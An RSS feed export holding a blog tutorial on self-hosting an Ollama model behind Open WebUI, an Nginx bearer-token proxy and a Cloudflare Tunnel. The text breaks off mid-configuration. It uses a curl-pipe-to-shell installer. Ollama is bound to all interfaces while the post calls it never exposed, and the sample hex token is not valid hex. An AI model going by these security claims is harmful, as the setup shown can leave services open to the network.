<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Kumar Chaudhary]]></title><description><![CDATA[Kumar Chaudhary]]></description><link>https://article.kumarchaudhary.com.np</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1727536099923/945564d2-c182-4034-a8c1-7f07ed7a9e61.png</url><title>Kumar Chaudhary</title><link>https://article.kumarchaudhary.com.np</link></image><generator>RSS for Node</generator><lastBuildDate>Wed, 29 Apr 2026 05:22:39 GMT</lastBuildDate><atom:link href="https://article.kumarchaudhary.com.np/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Build Your Own Private ChatGPT: Secure AI API on Oracle Free Tier with Ollama, Nginx & Cloudflare]]></title><description><![CDATA[Let’s build a Secure Personal AI API with Ollama, Nginx, and Cloudflare Tunnel using oracle ubuntu instance
Prerequisites and Target Audience
⚠️ Important Notice: This is not a beginner-friendly tutorial. This guide assumes you have practical, hands-...]]></description><link>https://article.kumarchaudhary.com.np/build-your-own-private-chatgpt-secure-ai-api-on-oracle-free-tier-with-ollama-nginx-and-cloudflare</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/build-your-own-private-chatgpt-secure-ai-api-on-oracle-free-tier-with-ollama-nginx-and-cloudflare</guid><category><![CDATA[AI]]></category><category><![CDATA[APIs]]></category><category><![CDATA[ollama]]></category><category><![CDATA[genai]]></category><category><![CDATA[nginx]]></category><category><![CDATA[Cloud Computing]]></category><category><![CDATA[cloudflare]]></category><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Mon, 17 Nov 2025 02:04:21 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1763344955587/75bcf697-37bb-4798-a2b4-e481b4f5ae6e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-lets-build-a-secure-personal-ai-api-with-ollama-nginx-and-cloudflare-tunnel-using-oracle-ubuntu-instance">Let’s build a Secure Personal AI API with Ollama, Nginx, and Cloudflare Tunnel using oracle ubuntu instance</h3>
<h3 id="heading-prerequisites-and-target-audience">Prerequisites and Target Audience</h3>
<p><strong>⚠️ Important Notice:</strong> This is not a beginner-friendly tutorial. This guide assumes you have practical, hands-on experience with Linux system administration, cloud infrastructure, and networking concepts. You'll need to be comfortable with:</p>
<ul>
<li><p><strong>Linux Command Line</strong>: Working with Ubuntu/Debian systems, managing services with systemd, and editing configuration files</p>
</li>
<li><p><strong>Docker</strong>: Understanding containerization, port mapping, and container networking</p>
</li>
<li><p><strong>Nginx</strong>: Basic knowledge of reverse proxy configuration and web server management</p>
</li>
<li><p><strong>DNS &amp; Networking</strong>: Understanding of subdomains, CNAME records, and how internet routing works</p>
</li>
<li><p><strong>API Concepts</strong>: Familiarity with REST APIs, HTTP methods, and authentication mechanisms</p>
</li>
<li><p><strong>Cloud Infrastructure</strong>: Experience with cloud providers (Oracle Cloud in this case) and their networking/security configurations</p>
</li>
</ul>
<p><strong>What You'll Build:</strong> By the end of this tutorial, you'll have a production-grade, secure AI API endpoint accessible via your custom domain, featuring:</p>
<ul>
<li><p>A self-hosted large language model (deepseek-coder-v2) running on your own infrastructure</p>
</li>
<li><p>Bearer token authentication to protect your API from unauthorized access</p>
</li>
<li><p>Automatic HTTPS encryption via Cloudflare Tunnel (no SSL certificate management needed)</p>
</li>
<li><p>A clean web interface for interactive chat</p>
</li>
<li><p>Zero exposed ports on your server (everything routed through secure tunnels)</p>
</li>
</ul>
<p><strong>Time Investment:</strong> 30-45 minutes for the complete setup</p>
<p><strong>Required Resources:</strong></p>
<ul>
<li><p>Oracle Cloud Free Tier account (or any cloud provider with 11GB+ RAM)</p>
</li>
<li><p>A registered domain name</p>
</li>
<li><p>Cloudflare account (free tier works perfectly)</p>
</li>
<li><p>Basic familiarity with Postman or curl for API testing</p>
</li>
</ul>
<hr />
<h2 id="heading-why-build-this">Why Build This?</h2>
<p>Before we jump into the technical implementation, let me address the obvious question: "Why go through all this trouble when I can just use ChatGPT's API?"</p>
<p><strong>Complete Control &amp; Privacy</strong>: Your data never leaves your server. No third-party can train on your prompts or access your sensitive information.</p>
<p><strong>Cost Efficiency</strong>: After the initial setup, running costs are minimal (or free with Oracle's generous free tier). No per-token pricing, no usage limits.</p>
<p><strong>Customization</strong>: Want to fine-tune the model for your specific use case? You own the entire stack.</p>
<p><strong>Learning Experience</strong>: Understanding how modern AI infrastructure works is invaluable. This knowledge transfers to enterprise environments.</p>
<p><strong>API Flexibility</strong>: Build your own applications, integrate into existing workflows, or share access with your team—all under your control.</p>
<hr />
<h2 id="heading-architecture-overview">Architecture Overview</h2>
<p>Before diving into the implementation, let's understand what we're building:</p>
<pre><code class="lang-bash">Internet (Public)
    ↓
Cloudflare Tunnel (HTTPS, encrypted, no open ports)
    ↓
Nginx:8080 (Authentication Layer - Bearer Token Validation)
    ↓
Ollama:11434 (AI Model Engine - deepseek-coder-v2)
</code></pre>
<p><strong>The Flow:</strong></p>
<ol>
<li><p>Client sends HTTPS request with Bearer token to your domain</p>
</li>
<li><p>Cloudflare Tunnel routes the encrypted traffic to your server</p>
</li>
<li><p>Nginx validates the Bearer token</p>
</li>
<li><p>If valid, Nginx forwards the request to Ollama</p>
</li>
<li><p>Ollama processes the request using the AI model</p>
</li>
<li><p>Response travels back through the same secure path</p>
</li>
</ol>
<p><strong>Port Mapping:</strong></p>
<ul>
<li><p><strong>Ollama</strong>: Port 11434 (localhost only, never exposed)</p>
</li>
<li><p><strong>Nginx</strong>: Port 8080 (accessible only via Cloudflare Tunnel)</p>
</li>
<li><p><strong>Open WebUI</strong>: Port 4000 (web interface for chat)</p>
</li>
</ul>
<hr />
<h2 id="heading-part-1-installing-ollama-im-using-ubuntu-here">Part 1: Installing Ollama (I’m using Ubuntu here)</h2>
<p>Ollama is a tool that allows you to run large language models locally. It's incredibly efficient and easy to use.</p>
<h3 id="heading-step-11-install-ollama">Step 1.1: Install Ollama</h3>
<p>SSH into your Oracle Cloud Ubuntu instance and run:</p>
<p>bash</p>
<pre><code class="lang-bash">curl -fsSL https://ollama.com/install.sh | sh
</code></pre>
<p><strong>Expected Output:</strong></p>
<pre><code class="lang-bash">&gt;&gt;&gt; Installing ollama to /usr/<span class="hljs-built_in">local</span>
&gt;&gt;&gt; Downloading Linux amd64 bundle
<span class="hljs-comment">######################################################################## 100.0%</span>
&gt;&gt;&gt; Creating ollama user...
&gt;&gt;&gt; Adding ollama user to render group...
&gt;&gt;&gt; Adding ollama user to video group...
&gt;&gt;&gt; Adding current user to ollama group...
&gt;&gt;&gt; Creating ollama systemd service...
&gt;&gt;&gt; Enabling and starting ollama service...
Created symlink /etc/systemd/system/default.target.wants/ollama.service
WARNING: Unable to detect NVIDIA/AMD GPU.
</code></pre>
<p>The GPU warning is normal if you're using a CPU-only instance.</p>
<h3 id="heading-step-12-verify-installation">Step 1.2: Verify Installation</h3>
<p>bash</p>
<pre><code class="lang-bash">ollama --version
systemctl status ollama
</code></pre>
<h3 id="heading-step-13-understanding-model-selection">Step 1.3: Understanding Model Selection</h3>
<p>Initially, you might be tempted to pull large models. Here's what happened in practice:</p>
<p><strong>Mistake #1: Trying gpt-oss</strong></p>
<p>bash</p>
<pre><code class="lang-bash">ollama pull gpt-oss
<span class="hljs-comment"># Downloads 13GB successfully...</span>

ollama run gpt-oss
<span class="hljs-comment"># Error: model requires more system memory (13.1 GiB) than is available (10.2 GiB)</span>
</code></pre>
<p><strong>Lesson Learned:</strong> Always check your available memory first:</p>
<p>bash</p>
<pre><code class="lang-bash">free -h
</code></pre>
<p><strong>Output on Oracle Free Tier ARM instance:</strong></p>
<pre><code class="lang-bash">              total        used        free      shared  buff/cache   available
Mem:           11Gi       1.1Gi       8.6Gi       1.0Mi       1.9Gi        10Gi
Swap:            0B          0B          0B
</code></pre>
<p>With 11GB total RAM, you need models that fit comfortably in memory.</p>
<h3 id="heading-step-14-pull-the-right-model">Step 1.4: Pull the Right Model</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Remove the too-large model</span>
ollama rm gpt-oss

<span class="hljs-comment"># Pull deepseek-coder-v2 (8.9GB - perfect fit)</span>
ollama pull deepseek-coder-v2
</code></pre>
<p><strong>Why deepseek-coder-v2?</strong></p>
<ul>
<li><p>15.7B parameters (quantized to Q4_0)</p>
</li>
<li><p>Only 8.9GB in size</p>
</li>
<li><p>Excellent for coding tasks</p>
</li>
<li><p>Fits comfortably in 11GB RAM</p>
</li>
</ul>
<p><strong>Alternative models for your RAM:</strong></p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># If you want smaller/faster:</span>
ollama pull llama3.2:3b      <span class="hljs-comment"># 3B parameters, ~2.3GB</span>
ollama pull phi3:mini         <span class="hljs-comment"># 3B parameters, ~2.3GB</span>
ollama pull gemma2:2b         <span class="hljs-comment"># 2B parameters, ~1.6GB</span>

<span class="hljs-comment"># If you want more capable (but slower):</span>
ollama pull llama3.1          <span class="hljs-comment"># 8B parameters, ~4.7GB</span>
ollama pull mistral           <span class="hljs-comment"># 7B parameters, ~4.1GB</span>
</code></pre>
<h3 id="heading-step-15-verify-your-model">Step 1.5: Verify Your Model</h3>
<p>bash</p>
<pre><code class="lang-bash">ollama list
</code></pre>
<p><strong>Output:</strong></p>
<pre><code class="lang-bash">NAME                        ID              SIZE      MODIFIED       
deepseek-coder-v2:latest    63fb193b3a9b    8.9 GB    5 minutes ago
</code></pre>
<h3 id="heading-step-16-test-the-model-locally">Step 1.6: Test the Model Locally</h3>
<p>bash</p>
<pre><code class="lang-bash">ollama run deepseek-coder-v2
</code></pre>
<p>You should see an interactive prompt. Try asking: "Write a Python function to calculate fibonacci numbers"</p>
<p>Type <code>/bye</code> to exit.</p>
<hr />
<h2 id="heading-part-2-configure-ollama-for-network-access">Part 2: Configure Ollama for Network Access</h2>
<p>By default, Ollama only listens on <code>127.0.0.1</code> (localhost), which means Docker containers and external services can't reach it.</p>
<h3 id="heading-step-21-check-current-configuration">Step 2.1: Check Current Configuration</h3>
<p>bash</p>
<pre><code class="lang-bash">sudo netstat -tlnp | grep 11434
</code></pre>
<p><strong>Current Output (Problem):</strong></p>
<pre><code class="lang-bash">tcp        0      0 127.0.0.1:11434         0.0.0.0:*               LISTEN      36287/ollama
</code></pre>
<p>See the problem? It's only listening on <code>127.0.0.1</code>.</p>
<h3 id="heading-step-22-configure-ollama-to-listen-on-all-interfaces">Step 2.2: Configure Ollama to Listen on All Interfaces</h3>
<p>Create a systemd override file:</p>
<p>bash</p>
<pre><code class="lang-bash">sudo mkdir -p /etc/systemd/system/ollama.service.d/
sudo tee /etc/systemd/system/ollama.service.d/override.conf &gt; /dev/null &lt;&lt; <span class="hljs-string">'EOF'</span>
[Service]
Environment=<span class="hljs-string">"OLLAMA_HOST=0.0.0.0:11434"</span>
EOF
</code></pre>
<h3 id="heading-step-23-apply-configuration">Step 2.3: Apply Configuration</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Verify the file was created</span>
cat /etc/systemd/system/ollama.service.d/override.conf

<span class="hljs-comment"># Reload systemd and restart Ollama</span>
sudo systemctl daemon-reload
sudo systemctl restart ollama

<span class="hljs-comment"># Wait for Ollama to start</span>
sleep 5
</code></pre>
<h3 id="heading-step-24-verify-ollama-is-now-accessible">Step 2.4: Verify Ollama is Now Accessible</h3>
<p>bash</p>
<pre><code class="lang-bash">sudo netstat -tlnp | grep 11434
</code></pre>
<p><strong>Correct Output:</strong></p>
<pre><code class="lang-bash">tcp6       0      0 :::11434                :::*                    LISTEN      37406/ollama
</code></pre>
<p>Perfect! Now it's listening on all interfaces (the <code>:::11434</code> indicates IPv6 which includes IPv4).</p>
<h3 id="heading-step-25-test-the-api">Step 2.5: Test the API</h3>
<p>bash</p>
<pre><code class="lang-bash">curl http://localhost:11434/api/tags
</code></pre>
<p><strong>Expected Response:</strong></p>
<p>json</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"models"</span>: [
    {
      <span class="hljs-attr">"name"</span>: <span class="hljs-string">"deepseek-coder-v2:latest"</span>,
      <span class="hljs-attr">"model"</span>: <span class="hljs-string">"deepseek-coder-v2:latest"</span>,
      <span class="hljs-attr">"modified_at"</span>: <span class="hljs-string">"2025-11-16T22:41:09.74190977Z"</span>,
      <span class="hljs-attr">"size"</span>: <span class="hljs-number">8905126121</span>,
      <span class="hljs-attr">"digest"</span>: <span class="hljs-string">"63fb193b3a9b4322a18e8c6b250ca2e70a5ff531e962dbf95ba089b2566f2fa5"</span>,
      <span class="hljs-attr">"details"</span>: {
        <span class="hljs-attr">"parent_model"</span>: <span class="hljs-string">""</span>,
        <span class="hljs-attr">"format"</span>: <span class="hljs-string">"gguf"</span>,
        <span class="hljs-attr">"family"</span>: <span class="hljs-string">"deepseek2"</span>,
        <span class="hljs-attr">"families"</span>: [<span class="hljs-string">"deepseek2"</span>],
        <span class="hljs-attr">"parameter_size"</span>: <span class="hljs-string">"15.7B"</span>,
        <span class="hljs-attr">"quantization_level"</span>: <span class="hljs-string">"Q4_0"</span>
      }
    }
  ]
}
</code></pre>
<hr />
<h2 id="heading-part-3-install-docker-and-open-webui">Part 3: Install Docker and Open WebUI</h2>
<p>Open WebUI provides a beautiful ChatGPT-like interface for interacting with your models.</p>
<p><strong>Why Docker?</strong> Docker containerizes Open WebUI with all its dependencies (Node.js, Python, databases) in one isolated package. This means: zero dependency conflicts, one-command installation, easy updates (<code>docker pull</code> and restart), automatic restarts on crashes, and simple rollback if something breaks. Without Docker, you'd manually install 10+ packages, manage version conflicts, and troubleshoot environment issues. Docker turns a 30-minute setup into a 30-second command.</p>
<h3 id="heading-step-31-install-docker">Step 3.1: Install Docker</h3>
<p>bash</p>
<pre><code class="lang-bash">sudo apt update
sudo apt install -y docker.io
sudo systemctl start docker
sudo systemctl <span class="hljs-built_in">enable</span> docker
sudo usermod -aG docker <span class="hljs-variable">$USER</span>
</code></pre>
<p><strong>Important:</strong> Log out and log back in for the docker group changes to take effect.</p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-built_in">exit</span>
<span class="hljs-comment"># SSH back in</span>
</code></pre>
<h3 id="heading-step-32-configure-docker-networking-for-ollama-access">Step 3.2: Configure Docker Networking for Ollama Access</h3>
<p><strong>Critical Issue:</strong> Docker containers run in isolated networks and can't access the host's localhost by default.</p>
<p><strong>Solution:</strong> Add a firewall rule to allow Docker's network to reach Ollama:</p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Allow Docker bridge network (172.17.0.0/16) to access Ollama</span>
sudo iptables -I INPUT -s 172.17.0.0/16 -p tcp --dport 11434 -j ACCEPT

<span class="hljs-comment"># Install iptables-persistent to save rules</span>
sudo apt install -y iptables-persistent

<span class="hljs-comment"># Save the rules</span>
sudo netfilter-persistent save
</code></pre>
<h3 id="heading-step-33-run-open-webui">Step 3.3: Run Open WebUI</h3>
<p>bash</p>
<pre><code class="lang-bash">docker run -d \
  --name open-webui \
  -p 4000:8080 \
  -v open-webui:/app/backend/data \
  -e OLLAMA_BASE_URL=http://172.17.0.1:11434 \
  --restart always \
  ghcr.io/open-webui/open-webui:main
</code></pre>
<p><strong>Configuration Explained:</strong></p>
<ul>
<li><p><code>-p 4000:8080</code>: Maps container port 8080 to host port 4000</p>
</li>
<li><p><code>-v open-webui:/app/backend/data</code>: Persists your chat history</p>
</li>
<li><p><code>-e OLLAMA_BASE_URL=http://172.17.0.1:11434</code>: Docker's default bridge IP to reach the host</p>
</li>
<li><p><code>--restart always</code>: Auto-restart on server reboot</p>
</li>
</ul>
<h3 id="heading-step-34-verify-open-webui-is-running">Step 3.4: Verify Open WebUI is Running</h3>
<p>bash</p>
<pre><code class="lang-bash">docker ps
</code></pre>
<p><strong>Expected Output:</strong></p>
<pre><code class="lang-bash">CONTAINER ID   IMAGE                                COMMAND           CREATED         STATUS                   PORTS
52fdefabd5f1   ghcr.io/open-webui/open-webui:main   <span class="hljs-string">"bash start.sh"</span>   5 seconds ago   Up 5 seconds (healthy)   0.0.0.0:4000-&gt;8080/tcp
</code></pre>
<h3 id="heading-step-35-test-connection-from-container-to-ollama">Step 3.5: Test Connection from Container to Ollama</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Test from inside the container</span>
docker <span class="hljs-built_in">exec</span> open-webui curl http://172.17.0.1:11434/api/tags
</code></pre>
<p><strong>Expected Response:</strong></p>
<p>json</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"models"</span>: [
    {
      <span class="hljs-attr">"name"</span>: <span class="hljs-string">"deepseek-coder-v2:latest"</span>,
      ...
    }
  ]
}
</code></pre>
<p>If this fails, go back and verify:</p>
<ol>
<li><p>Ollama is listening on <code>0.0.0.0:11434</code> (not just <code>127.0.0.1</code>)</p>
</li>
<li><p>Firewall rule allows Docker network access</p>
</li>
<li><p>Docker container is using the correct bridge IP</p>
</li>
</ol>
<hr />
<h2 id="heading-part-4-setup-cloudflare-tunnel">Part 4: Setup Cloudflare Tunnel</h2>
<p>Cloudflare Tunnel creates a secure connection from your server to Cloudflare's edge network without exposing any ports.</p>
<h3 id="heading-step-41-install-cloudflared">Step 4.1: Install Cloudflared</h3>
<p>bash</p>
<pre><code class="lang-bash">wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb
</code></pre>
<h3 id="heading-step-42-authenticate-with-cloudflare">Step 4.2: Authenticate with Cloudflare</h3>
<p>bash</p>
<pre><code class="lang-bash">cloudflared tunnel login
</code></pre>
<p>This will output a URL. Open it in your browser, log in to Cloudflare, and select your domain for example (<code>kumarchaudhary.com.np</code>).</p>
<p>After authentication, a certificate is saved at <code>~/.cloudflared/cert.pem</code>.</p>
<h3 id="heading-step-43-create-a-tunnel">Step 4.3: Create a Tunnel</h3>
<p>bash</p>
<pre><code class="lang-bash">cloudflared tunnel create my-oracle-tunnel
</code></pre>
<p><strong>Output:</strong></p>
<pre><code class="lang-bash">Tunnel credentials written to /home/ubuntu/.cloudflared/12345678-1234-1234-1234-12345678.json
Created tunnel my-oracle-tunnel with id d778463d-04a6-4641-a0d4-b375065351a9
</code></pre>
<p><strong>Save your tunnel ID:</strong> 12345678-1234-1234-1234-12345678</p>
<h3 id="heading-step-44-create-tunnel-configuration">Step 4.4: Create Tunnel Configuration</h3>
<p>bash</p>
<pre><code class="lang-bash">nano ~/.cloudflared/config.yml
</code></pre>
<p>Add this configuration (replace with your tunnel ID):</p>
<p>Replace tunnel id with yours.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">tunnel:</span> <span class="hljs-number">12345678</span><span class="hljs-number">-1234</span><span class="hljs-number">-1234</span><span class="hljs-number">-1234</span><span class="hljs-number">-12345678</span>
<span class="hljs-attr">credentials-file:</span> <span class="hljs-string">/home/ubuntu/.cloudflared/12345678-1234-1234-1234-12345678.json</span>

<span class="hljs-attr">ingress:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">ai.kumarchaudhary.com.np</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:4000</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">service:</span> <span class="hljs-string">http_status:404</span>
</code></pre>
<p><strong>Configuration Explained:</strong></p>
<ul>
<li><p><code>tunnel</code>: Your unique tunnel ID</p>
</li>
<li><p><code>credentials-file</code>: Path to tunnel credentials</p>
</li>
<li><p><code>ingress</code>: Routing rules (hostname → service)</p>
</li>
<li><p>Final catch-all rule returns 404 for unmatched requests</p>
</li>
</ul>
<h3 id="heading-step-45-configure-dns">Step 4.5: Configure DNS</h3>
<p>Route your subdomain through the tunnel:</p>
<p>bash</p>
<p>tunnel-id: 12345678-1234-1234-1234-12345678</p>
<pre><code class="lang-bash">cloudflared tunnel route dns 12345678-1234-1234-1234-12345678 ai.kumarchaudhary.com.np
</code></pre>
<p>Replace tunnel id with yours.</p>
<p><strong>Alternative:</strong> Manually add a CNAME record in Cloudflare Dashboard:</p>
<ul>
<li><p><strong>Type:</strong> CNAME</p>
</li>
<li><p><strong>Name:</strong> ai</p>
</li>
<li><p><strong>Target:</strong> <code>insert_your_tunnel id.cfargotunnel.com</code></p>
</li>
<li><p><strong>Proxy status:</strong> Proxied (orange cloud)</p>
</li>
</ul>
<h3 id="heading-step-46-install-as-system-service">Step 4.6: Install as System Service</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Copy configuration to system directory</span>
sudo mkdir -p /etc/cloudflared
sudo cp ~/.cloudflared/config.yml /etc/cloudflared/
sudo cp ~/.cloudflared/insert_your_tunnel_id.json /etc/cloudflared/

<span class="hljs-comment"># Update config file to use system paths</span>
sudo nano /etc/cloudflared/config.yml
</code></pre>
<p>Update the credentials-file path:</p>
<pre><code class="lang-yaml"><span class="hljs-attr">credentials-file:</span> <span class="hljs-string">/etc/cloudflared/insert_your_tunnel_id.json</span>
</code></pre>
<p>Install and start the service:</p>
<pre><code class="lang-bash">sudo cloudflared service install
sudo systemctl start cloudflared
sudo systemctl <span class="hljs-built_in">enable</span> cloudflared
sudo systemctl status cloudflared
</code></pre>
<h3 id="heading-step-47-verify-tunnel-is-running">Step 4.7: Verify Tunnel is Running</h3>
<pre><code class="lang-bash">cloudflared tunnel info my-oracle-tunnel
</code></pre>
<p><strong>Expected Output:</strong></p>
<pre><code class="lang-bash">NAME:     my-oracle-tunnel
ID:       your_tunnel_id
CREATED:  2025-11-15 20:38:10.173885 +0000 UTC
CONNECTOR ID                         CREATED              ARCHITECTURE VERSION   ORIGIN IP      EDGE
cdccbf66-5703-4111-a3cc-bde3e95f54d2 2025-11-16T21:58:23Z linux_amd64  2025.11.1 132.145.32.154 1xlhr09, 2xlhr13
</code></pre>
<h3 id="heading-step-48-access-open-webui">Step 4.8: Access Open WebUI</h3>
<p>Open your browser and go to your subdomain in my case: <code>https://ai.kumarchaudhary.com.n</code>p</p>
<p><strong>First-time setup:</strong></p>
<ol>
<li><p>Create an account (first user becomes admin)</p>
</li>
<li><p>Click the model selector dropdown</p>
</li>
<li><p>Select <strong>deepseek-coder-v2:latest</strong></p>
</li>
<li><p>Start chatting!</p>
</li>
</ol>
<hr />
<h2 id="heading-part-5-add-more-subdomains-optional">Part 5: Add More Subdomains (Optional)</h2>
<p>You can route multiple subdomains through the same tunnel.</p>
<h3 id="heading-step-51-update-tunnel-config">Step 5.1: Update Tunnel Config</h3>
<p>bash</p>
<pre><code class="lang-bash">nano ~/.cloudflared/config.yml
</code></pre>
<p>Add more hostname routes:</p>
<p>yaml</p>
<pre><code class="lang-yaml"><span class="hljs-attr">tunnel:</span> <span class="hljs-string">d778463d-04a6-4641-a0d4-b375065351a9</span>
<span class="hljs-attr">credentials-file:</span> <span class="hljs-string">/home/ubuntu/.cloudflared/d778463d-04a6-4641-a0d4-b375065351a9.json</span>

<span class="hljs-attr">ingress:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">orababy.kumarchaudhary.com.np</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:3000</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">ai.kumarchaudhary.com.np</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:4000</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">aiapi.kumarchaudhary.com.np</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:8080</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">service:</span> <span class="hljs-string">http_status:404</span>
</code></pre>
<h3 id="heading-step-52-add-dns-records">Step 5.2: Add DNS Records</h3>
<p>bash</p>
<pre><code class="lang-bash">cloudflared tunnel route dns d778463d-04a6-4641-a0d4-b375065351a9 orababy.kumarchaudhary.com.np
cloudflared tunnel route dns d778463d-04a6-4641-a0d4-b375065351a9 aiapi.kumarchaudhary.com.np
</code></pre>
<h3 id="heading-step-53-update-system-config">Step 5.3: Update System Config</h3>
<p>bash</p>
<pre><code class="lang-bash">sudo cp ~/.cloudflared/config.yml /etc/cloudflared/
sudo systemctl restart cloudflared
</code></pre>
<hr />
<h2 id="heading-part-6-secure-your-api-with-nginx-authentication">Part 6: Secure Your API with Nginx Authentication</h2>
<p><strong>The Problem:</strong> Right now, anyone who knows your domain can access your API. We need to add authentication. <strong>This is the most important part</strong> what about our blog article is about how to use nginx for secure authentication.</p>
<p><strong>The Solution:</strong> Use Nginx as a reverse proxy with Bearer token authentication.</p>
<h3 id="heading-step-61-install-nginx">Step 6.1: Install Nginx</h3>
<p>bash</p>
<pre><code class="lang-bash">sudo apt update
sudo apt install -y nginx
</code></pre>
<h3 id="heading-step-62-generate-a-secure-bearer-token">Step 6.2: Generate a Secure Bearer Token</h3>
<p>bash</p>
<pre><code class="lang-bash">openssl rand -hex 32
</code></pre>
<p><strong>Example Output:</strong></p>
<pre><code class="lang-bash">a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6
</code></pre>
<p><strong>Save this token securely!</strong> This is your API key.</p>
<h3 id="heading-step-63-create-nginx-configuration">Step 6.3: Create Nginx Configuration</h3>
<p>bash</p>
<pre><code class="lang-bash">sudo nano /etc/nginx/sites-available/ollama-api
</code></pre>
<p>Add this configuration (replace <code>YOUR_TOKEN_HERE</code> with your generated token):</p>
<p>nginx</p>
<pre><code class="lang-nginx"><span class="hljs-section">server</span> {
    <span class="hljs-attribute">listen</span> <span class="hljs-number">8080</span>;
    <span class="hljs-attribute">server_name</span> localhost;

    <span class="hljs-attribute">location</span> / {
        <span class="hljs-comment"># Check for Bearer token</span>
        <span class="hljs-attribute">if</span> (<span class="hljs-variable">$http_authorization</span> != <span class="hljs-string">"Bearer YOUR_TOKEN_HERE"</span>) {
            <span class="hljs-attribute">return</span> <span class="hljs-number">401</span> <span class="hljs-string">'{"error": "Unauthorized"}'</span>;
        }

        <span class="hljs-attribute">proxy_pass</span> http://127.0.0.1:11434;
        <span class="hljs-attribute">proxy_http_version</span> <span class="hljs-number">1</span>.<span class="hljs-number">1</span>;
        <span class="hljs-attribute">proxy_set_header</span> Host <span class="hljs-variable">$host</span>;
        <span class="hljs-attribute">proxy_set_header</span> X-Real-IP <span class="hljs-variable">$remote_addr</span>;
        <span class="hljs-attribute">proxy_set_header</span> X-Forwarded-For <span class="hljs-variable">$proxy_add_x_forwarded_for</span>;
        <span class="hljs-attribute">proxy_read_timeout</span> <span class="hljs-number">300s</span>;
        <span class="hljs-attribute">proxy_connect_timeout</span> <span class="hljs-number">75s</span>;
    }
}
</code></pre>
<p><strong>Configuration Explained:</strong></p>
<ul>
<li><p><code>listen 8080</code>: Nginx listens on port 8080</p>
</li>
<li><p><code>if ($http_authorization != "Bearer ...")</code>: Validates Bearer token</p>
</li>
<li><p><code>return 401</code>: Rejects unauthorized requests</p>
</li>
<li><p><code>proxy_pass http://127.0.0.1:11434</code>: Forwards valid requests to Ollama</p>
</li>
</ul>
<h3 id="heading-step-64-enable-the-site">Step 6.4: Enable the Site</h3>
<p>bash</p>
<pre><code class="lang-bash">sudo ln -s /etc/nginx/sites-available/ollama-api /etc/nginx/sites-enabled/
sudo nginx -t
sudo systemctl restart nginx
</code></pre>
<h3 id="heading-step-65-verify-nginx-is-running">Step 6.5: Verify Nginx is Running</h3>
<p>bash</p>
<pre><code class="lang-bash">sudo systemctl status nginx
sudo netstat -tlnp | grep 8080
</code></pre>
<p><strong>Expected Output:</strong></p>
<pre><code class="lang-bash">tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      12345/nginx
</code></pre>
<h3 id="heading-step-66-test-authentication-locally">Step 6.6: Test Authentication Locally</h3>
<p><strong>Without token (should fail):</strong></p>
<p>bash</p>
<pre><code class="lang-bash">curl http://localhost:8080/api/tags
</code></pre>
<p><strong>Expected:</strong> <code>{"error": "Unauthorized"}</code></p>
<p><strong>With token (should work):</strong></p>
<p>bash</p>
<pre><code class="lang-bash">curl http://localhost:8080/api/tags \
  -H <span class="hljs-string">"Authorization: Bearer YOUR_TOKEN_HERE"</span>
</code></pre>
<p><strong>Expected:</strong> Full JSON response with model list</p>
<h3 id="heading-step-67-update-cloudflare-tunnel">Step 6.7: Update Cloudflare Tunnel</h3>
<p>Now route the API subdomain through Nginx (not directly to Ollama):</p>
<p>bash</p>
<pre><code class="lang-bash">nano ~/.cloudflared/config.yml
</code></pre>
<p>Update to:</p>
<p>yaml</p>
<pre><code class="lang-yaml"><span class="hljs-attr">tunnel:</span> <span class="hljs-string">d778463d-04a6-4641-a0d4-b375065351a9</span>
<span class="hljs-attr">credentials-file:</span> <span class="hljs-string">/home/ubuntu/.cloudflared/d778463d-04a6-4641-a0d4-b375065351a9.json</span>

<span class="hljs-attr">ingress:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">orababy.kumarchaudhary.com.np</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:3000</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">ai.kumarchaudhary.com.np</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:4000</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">aiapi.kumarchaudhary.com.np</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:8080</span>
